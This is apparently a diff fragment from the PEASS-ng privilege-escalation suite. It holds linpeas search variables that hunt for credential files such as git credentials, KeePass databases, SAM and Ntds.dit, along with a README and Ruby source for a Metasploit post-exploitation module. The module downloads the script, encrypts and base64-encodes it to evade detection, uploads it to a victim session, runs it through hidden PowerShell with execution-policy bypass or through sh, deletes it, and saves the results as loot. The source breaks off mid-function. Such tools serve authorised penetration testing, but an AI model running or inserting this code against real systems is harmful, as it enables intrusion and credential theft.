PSTORAGE_ENV=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.env$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_MSMTPRC=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.msmtprc$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_GITHUB=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SVN=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.svn$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KEEPASS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_FTP=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|sites\.ini$|wcx_ftp\.ini$|winscp\.ini$|ws_ftp\.ini$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_BIND=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/var|^/usr|^/etc" | grep -E "bind$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "seeddms.*$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DDCLIENT=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_KCPASSWORD=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "kcpassword$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_SENTRY=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32\n$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "environments$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_CACTI=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "cacti$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_CDROM\n$FIND_DIR_BIN\n$FIND_DIR_OPT\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV\n$FIND_DIR_PRIVATE\n$FIND_DIR_TMP\n$FIND_DIR_MEDIA\n$FIND_DIR_ETC\n$FIND_DIR_CACHE\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "roundcube$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PASSBOLT=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "passbolt\.php$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_WGET=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.wgetrc$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_OTHER_INTERESTING_FILES=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_WINDOWS_FILES=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|php\.ini$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_DATABASE=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_BACKUPS=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E "backup$|backups$" | sort | uniq | head -n 70)
|
||||
PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_MEDIA\n$FIND_SYS\n$FIND_USR\n$FIND_RUN\n$FIND_BIN\n$FIND_ETC\n$FIND_SRV\n$FIND_SBIN\n$FIND_CACHE\n$FIND_LIB64\n$FIND_APPLICATIONS\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_MNT\n$FIND_CDROM\n$FIND_TMP\n$FIND_LIB\n$FIND_OPT\n$FIND_SNAP\n$FIND_VAR\n$FIND_PRIVATE\n$FIND_SYSTEM\n$FIND_LIB32" | grep -E "^/private|^/applications|^/bin|^/.cache|^/tmp|^/sbin|^/etc|^/cdrom|^/mnt|^$GREPHOMESEARCH|^/media|^/srv|^/opt|^/snap|^/usr|^/var" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70)
|
||||
|
||||
|
||||
##### POST SERACH VARIABLES #####
|
||||
|
||||
54
metasploit/README.md
Normal file
54
metasploit/README.md
Normal file
@ -0,0 +1,54 @@
|
||||
# PEASS Post Exploitation Module for Metasploit
|
||||
|
||||
You can use this module to **automatically execute a PEASS script from a meterpreter or shell session obtained in metasploit**.
|
||||
|
||||
## Manual Installation
|
||||
Copy the `peass.rb` file to the path `modules/post/multi/gather/` inside the metasploit installation.
|
||||
|
||||
In Kali: `sudo cp ./peass.rb /usr/share/metasploit-framework/modules/post/multi/gather/`
|
||||
|
||||
Now you can do `reload_all` inside a running msfconsole or the next time you launch a new msfconsole the peass module will be **automatically loaded**.
|
||||
|
||||
## How to use it
|
||||
```
|
||||
msf6 exploit(multi/handler) > use post/multi/gather/peass
|
||||
msf6 post(multi/gather/peass) > show info
|
||||
|
||||
Name: Multi PEASS launcher
|
||||
Module: post/multi/gather/peass
|
||||
Platform: BSD, Linux, OSX, Unix, Windows
|
||||
Arch:
|
||||
Rank: Normal
|
||||
|
||||
Provided by:
|
||||
Carlos Polop <@carlospolopm>
|
||||
|
||||
Compatible session types:
|
||||
Meterpreter
|
||||
Shell
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PARAMETERS no Parameters to use in the execution of the script
|
||||
PASSWORD qzke5he7u5n6ijcxhlnj2bc2o556xool no Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.
|
||||
SESSION yes The session to run this module on.
|
||||
TEMP_DIR no Path to upload the obfuscated PEASS script. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in unix.
|
||||
TIMEOUT 900 no Timeout of the execution of the PEASS script (15min by default)
|
||||
URL https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/wi yes Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng
|
||||
nPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe /master/linPEAS/linpeas.sh
|
||||
|
||||
Description:
|
||||
This module will launch the indicated PEASS (Privilege Escalation
|
||||
Awesome Script Suite) script to enumerate the system. You need to
|
||||
indicate the URL or local path to LinPEAS if you are in some Unix or
|
||||
to WinPEAS if you are in Windows.
|
||||
|
||||
References:
|
||||
https://github.com/carlospolop/PEASS-ng
|
||||
https://www.youtube.com/watch?v=9_fJv_weLU0
|
||||
```
|
||||
|
||||
The options are pretty self-explanatory. Just notice that you can set parametes like "-h" in `PARAMETERS` and then linpeas/winpeas will just show the help (*just like when you execute them from a console*).
|
||||
|
||||
**IMPORTANT**: You won't see any result until the execution of the script is completed.
|
||||
262
metasploit/peass.rb
Normal file
262
metasploit/peass.rb
Normal file
@ -0,0 +1,262 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'net/http'
|
||||
require 'base64'
|
||||
require 'openssl'
|
||||
require 'tempfile'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info(info,
|
||||
'Name' => 'Multi PEASS launcher',
|
||||
'Description' => %q{
|
||||
This module will launch the indicated PEASS (Privilege Escalation Awesome Script Suite) script to enumerate the system.
|
||||
You need to indicate the URL or local path to LinPEAS if you are in some Unix or to WinPEAS if you are in Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Carlos Polop <@carlospolopm>'
|
||||
],
|
||||
'Platform' => %w{ bsd linux osx unix win },
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://github.com/carlospolop/PEASS-ng'],
|
||||
['URL', 'https://www.youtube.com/watch?v=9_fJv_weLU0'],
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URL', [true, 'Path to the PEASS script. Accepted: http(s):// URL or absolute local path. Linpeas: https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh', "https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe"]),
|
||||
OptString.new('PASSWORD', [false, 'Password to encrypt and obfuscate the script (randomly generated). The length must be 32B. If no password is set, only base64 will be used.', rand(36**32).to_s(36)]),
|
||||
OptString.new('TEMP_DIR', [false, 'Path to upload the obfuscated PEASS script. By default "C:\Windows\System32\spool\drivers\color" is used in Windows and "/tmp" in Unix.', '']),
|
||||
OptString.new('PARAMETERS', [false, 'Parameters to pass to the script', nil]),
|
||||
OptString.new('TIMEOUT', [false, 'Timeout of the execution of the PEASS script (15min by default)', 15*60])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
ps_var1 = rand(36**5).to_s(36) #Winpeas PS needed variable
|
||||
|
||||
# Load PEASS script in memory
|
||||
peass_script = load_peass()
|
||||
print_good("PEASS script successfully retreived.")
|
||||
|
||||
# Obfuscate loaded PEASS script
|
||||
if datastore["PASSWORD"].length > 1
|
||||
# If no Windows, check if openssl exists
|
||||
if !session.platform.include?("win")
|
||||
openssl_path = cmd_exec("command -v openssl")
|
||||
raise 'openssl not found in victim, unset the password of the module!' unless openssl_path.include?("openssl")
|
||||
end
|
||||
|
||||
# Get encrypted PEASS script in B64
|
||||
print_status("Encrypting PEASS and encoding it in Base64...")
|
||||
|
||||
# Needed code to decrypt from unix
|
||||
if !session.platform.include?("win")
|
||||
aes_enc_peass_ret = aes_enc_peass(peass_script)
|
||||
peass_script_64 = aes_enc_peass_ret["encrypted"]
|
||||
key_hex = aes_enc_peass_ret["key_hex"]
|
||||
iv_hex = aes_enc_peass_ret["iv_hex"]
|
||||
decode_linpeass_cmd = "openssl aes-256-cbc -base64 -d -K #{key_hex} -iv #{iv_hex}"
|
||||
|
||||
# Needed code to decrypt from Windows
|
||||
else
|
||||
# As the PS function is only capable of decrypting readable strings
|
||||
# in Windows we encrypt the B64 of the binary and then load it in memory
|
||||
# from the initial B64. Then: original -> B64 -> encrypt -> B64
|
||||
aes_enc_peass_ret = aes_enc_peass(Base64.encode64(peass_script)) #Base64 before encrypting it
|
||||
peass_script_64 = aes_enc_peass_ret["encrypted"]
|
||||
key_b64 = aes_enc_peass_ret["key_b64"]
|
||||
iv_b64 = aes_enc_peass_ret["iv_b64"]
|
||||
load_winpeas = get_ps_aes_decr()
|
||||
|
||||
ps_var2 = rand(36**6).to_s(36)
|
||||
load_winpeas += "$#{ps_var2} = DecryptStringFromBytesAes \"#{key_b64}\" \"#{iv_b64}\" $#{ps_var1};"
|
||||
load_winpeas += "$#{rand(36**7).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var2}));"
|
||||
end
|
||||
|
||||
else
|
||||
# If no Windows, check if base64 exists
|
||||
if !session.platform.include?("win")
|
||||
openssl_path = cmd_exec("command -v base64")
|
||||
raise 'base64 not found in victim, set a 32B length password!' unless openssl_path.include?("base64")
|
||||
end
|
||||
|
||||
# Encode PEASS script
|
||||
print_status("Encoding PEASS in Base64...")
|
||||
peass_script_64 = Base64.encode64(peass_script)
|
||||
|
||||
# Needed code to decode it in Unix and Windows
|
||||
decode_linpeass_cmd = "base64 -d"
|
||||
load_winpeas = "$#{rand(36**6).to_s(36)} = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($#{ps_var1}));"
|
||||
|
||||
end
|
||||
|
||||
# Write obfuscated PEASS to a local file
|
||||
file = Tempfile.new('peass_metasploit')
|
||||
file.write(peass_script_64)
|
||||
file.rewind
|
||||
|
||||
# Upload file to victim
|
||||
temp_peass_name = rand(36**5).to_s(36)
|
||||
if datastore["TEMP_DIR"] != ""
|
||||
temp_path = datastore["TEMP_DIR"]
|
||||
if temp_path[0] == "/"
|
||||
temp_path = temp_path + "/#{temp_peass_name}"
|
||||
else
|
||||
temp_path = temp_path + "\\#{temp_peass_name}"
|
||||
end
|
||||
|
||||
elsif session.platform.include?("win")
|
||||
temp_path = "C:\\Windows\\System32\\spool\\drivers\\color\\#{temp_peass_name}"
|
||||
else
|
||||
temp_path = "/tmp/#{temp_peass_name}"
|
||||
end
|
||||
|
||||
print_status("Uploading obfuscated peass to #{temp_path}...")
|
||||
upload_file(temp_path, file.path)
|
||||
print_good("Uploaded")
|
||||
|
||||
# Run PEASS script
|
||||
begin
|
||||
tmpout = "\n"
|
||||
print_status "Running PEASS..."
|
||||
|
||||
# If Windows, suppose Winpeas was loaded
|
||||
if session.platform.include?("win")
|
||||
cmd = "$#{ps_var1} = Get-Content -Path #{temp_path};"
|
||||
cmd += load_winpeas
|
||||
cmd += "$a = [winPEAS.Program]::Main(\"#{datastore['PARAMETERS']}\");"
|
||||
cmd += "del #{temp_path};"
|
||||
|
||||
# Transform to Base64 in UTF-16LE format
|
||||
cmd_utf16le = cmd.encode("utf-16le")
|
||||
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
|
||||
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"])
|
||||
|
||||
# If unix, then, suppose linpeas was loaded
|
||||
else
|
||||
tmpout << cmd_exec("cat #{temp_path} | #{decode_linpeass_cmd} | sh -s -- #{datastore['PARAMETERS']}; rm #{temp_path}", args=nil, time_out=datastore["TIMEOUT"])
|
||||
end
|
||||
|
||||
print "\n#{tmpout}\n\n"
|
||||
command_log = store_loot("PEASS", "text/plain", session, tmpout, "peass.txt", "PEASS script execution")
|
||||
print_good("PEASS output saved to: #{command_log}")
|
||||
|
||||
rescue ::Exception => e
|
||||
print_bad("Error Running PEASS: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
# Close and delete the temporary file
|
||||
file.close
|
||||
file.unlink
|
||||
end
|
||||
|
||||
def load_peass
|
||||
# Load the PEASS script from a local file or from Internet
|
||||
peass_script = ""
|
||||
url_peass = datastore['URL']
|
||||
|
||||
if url_peass.include?("http://") || url_peass.include?("https://")
|
||||
target = URI.parse url_peass
|
||||
